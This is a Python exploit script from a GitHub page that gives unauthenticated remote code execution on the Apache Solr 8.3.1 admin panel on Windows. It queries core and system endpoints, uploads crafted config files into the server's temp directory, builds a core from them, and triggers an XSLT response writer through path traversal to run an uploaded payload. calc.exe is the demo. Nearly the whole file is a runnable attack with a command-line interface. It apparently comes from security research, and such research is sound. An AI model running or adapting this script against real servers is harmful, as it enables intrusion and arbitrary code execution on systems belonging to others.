-
Notifications
You must be signed in to change notification settings - Fork 11
/
exploit.py
167 lines (143 loc) · 5.92 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/python
#
# Apache Solr 8.3.1 admin panel RCE (Windows)
#
# Authors:
# - Nicolas Brunner - SCRT
#
# This exploit allows code execution on a default
# Solr admin panel through XSLT
#
#
# Examples:
# Installation of the required libraries
# pip3 install -r requirements.txt
#
# Create the core from the default folder:
# ./exploit.py -u http://example.com/solr --default-core
#
#
# Execute calc.exe thorugh upload and trigger of the file:
# ./exploit.py -u http://example.com/solr -f calc.xml
#
import requests, argparse, urllib3, time
class Exploit:
def __init__(self, url, core_name):
self.url = url
self.core_name = core_name
self.tmp_core_name = "tmp_core_AE123R5Z"
def check_core_exist(self, tmp=False):
core_name = self.core_name
if tmp:
core_name = self.tmp_core_name
response = requests.get(self.url+"/admin/cores")
parsed_response = response.json()
return core_name in parsed_response["status"].keys()
def create_default_core(self):
response = requests.get(self.url+"/admin/cores")
parsed_response = response.json()
if len(parsed_response["status"].keys())>0:
print("At least one core is already created in the application, no need to create the Default core. List of cores:\n",
list(parsed_response["status"].keys()))
return False
else:
server_path = self._get_server_path()
print("Solr Server path:", server_path)
response_core_creation = requests.get(self.url+"/admin/cores?&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir="+server_path+"/configsets/_default/conf&name="+self.core_name+"&schema=schema.xml&wt=json")
if response_core_creation.status_code != 200:
print("An error occured")
print(response_core_creation.text)
return False
return True
def _get_server_path(self):
response_system = requests.get(self.url+"/admin/info/system")
parse_response_system = response_system.json()
return parse_response_system["solr_home"]
def check_core_is_tmp(self):
response = requests.get(self.url+"/admin/cores")
parsed_response = response.json()
instanceDir = parsed_response.get("status").get(self.core_name).get("instanceDir")
print(instanceDir)
return instanceDir.endswith("/server/tmp")
def create_tmp_core(self):
self.upload_file_to_tmp("solrconfig.xml")
time.sleep(1)
self.upload_file_to_tmp("managed-schema")
time.sleep(1)
server_path = self._get_server_path()
response_core_creation = requests.get(self.url+"/admin/cores?&action=CREATE&config=UPLOAD~1.tmp&dataDir=data&instanceDir="+server_path[:-4]+"/tmp&name="+self.tmp_core_name+"&schema=UPLOAD~2.tmp&wt=json")
if response_core_creation.status_code != 200:
print("An error occured")
print(response_core_creation.text)
return False
return True
# for some reason the multipart of python requests has issue
def upload_file_to_tmp(self, file):
fields = {"file":(file, open(file).read(),"text/xml")}
print("[+] Uploading file",file)
http = urllib3.PoolManager()
response = http.request(
"POST",
self.url+"/"+self.core_name+"/update",
fields
)
return response.status
def trigger_xslt(self):
requests.get(self.url+"/"+self.tmp_core_name+"/select?q=*:*&wt=xslt&tr=../UPLOAD~1.tmp")
print("[+] Command calc.exe triggered")
parser = argparse.ArgumentParser(
description="Apache Solr 8.3.1 admin panel RCE (Windows)"
)
parser.add_argument('-u', '--url', help='the base URL', required=True)
parser.add_argument('-f', '--file', help='the XSLT file that will be execute', required=False)
parser.add_argument('-d', '--default-core', help='if set, will try to create the default core and not perform the exploit', required=False, action='store_true')
parser.add_argument('-c', '--core', help='the core name', default="tmp_core", required=True)
args = parser.parse_args()
if not args.url:
print('''No URL provided
Examples:
Create the core from the default folder:
./exploit.py -u http://example.com/solr --default-core -c core1
Execute calc.exe thorugh upload and trigger of the file, the core must exist in the application:
./exploit.py -u http://example.com/solr -f calc.xml -c core1
''')
exit(1)
if not args.file and not args.default_core:
print('''[-] Need -f or -d with -c to do something...
Examples:
Create the core from the default folder:
./exploit.py -u http://example.com/solr --default-core -c core1
Execute calc.exe thorugh upload and trigger of the file, the core must exist in the application:
./exploit.py -u http://example.com/solr -f calc.xml -c core1
''')
exit(1)
url = args.url
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
exploit = Exploit(url, args.core)
if args.default_core:
print('Starting the creation of the core..')
if exploit.check_core_exist():
print('A core already exist with this name, no need to create a new one.')
exit(1)
else:
if exploit.create_default_core():
print('New core created with name:', args.core)
else:
print('Error')
exit(1)
elif args.file:
if not exploit.check_core_exist(tmp=True):
if not exploit.check_core_exist():
print('[-] The exploitation needs at least one valid core to create the tmp core.')
exit(1)
else:
if exploit.create_tmp_core():
print('[+] The tmp core is now created:', exploit.tmp_core_name)
else:
print('[-] Error creating the tmp core')
exit(1)
else:
print('[+] The tmp core already exists')
exploit.upload_file_to_tmp(args.file)
exploit.trigger_xslt()